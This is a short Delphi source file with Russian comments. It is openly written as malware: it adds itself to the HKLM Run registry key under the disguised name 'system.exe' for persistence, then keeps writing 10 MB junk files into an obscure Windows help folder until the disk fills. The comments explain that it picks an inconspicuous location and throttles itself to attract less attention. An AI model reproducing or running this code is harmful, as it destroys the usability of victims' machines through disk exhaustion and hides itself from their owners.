Uses Windows,Registry,Classes,sysutils;

Var
MSG : TMSG;
RegEnd : Boolean;
Size : Integer;

Const
// Место где будут создаваться файлы
// ставим самую занюханую папку
// естествино надо вычеслять директорию Windows
DirTarget = 'C:\WINDOWS\Help\Tours\';
// Начало имени файла
ReName = 'SysPack';
// Конечное расширение файла
FilExt = '.sys';
// Имя файла который будет в реестре
ExeName = 'system.exe';
// Размер создаваемого файла
UpSize = 10000000;
// Интервал промежудка создание файла чем больше
// тем меньше нагрузка на процессор и меньше внимание ...
TimeXre = 30;

// Получаем уникальное имя, которое не когда в жизни не повториться !!!!
Function GetFHName : String;
Var
S : String;
I : Integer;
Begin
S := DateTimeToStr(Time);
For I := 1 To Length(S) Do
If S[I] = ':' Then
S[I] := '_';
Result := S;
End;

// Создаём файл
Procedure FuckDrive;
Var
St : TMemoryStream;
Begin
St := TMemoryStream.Create;
Try
St.Size := UpSize;
St.SaveToFile(DirTarget+ReName+GetFHName+'FilExt');
Finally
St.Free;
End;
End;

// Путь к нашей проге
Function FileName : String;
Var
Buffer : Array[0..256] of Char;
Begin
GetModuleFileName(0,Buffer,SizeOf(Buffer));
Result := Buffer;
End;

// Регистрируем в реестрне
Procedure RegistrySF;
Var
Reg : TRegistry;
Begin
Reg := TRegistry.Create;
Try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
Reg.WriteString(ExeName,FileName);
Reg.CloseKey;
Finally
Reg.Free;
End;
RegEnd := True;
End;

// Активация
Procedure Activated;
Begin
If Not RegEnd Then
RegistrySF;
FuckDrive;
End;

Begin
While GetMessage(MSG,GetModuleHandle(Nil),0,0) Do
Begin
Sleep(TimeXre);
Activated;
End;
End.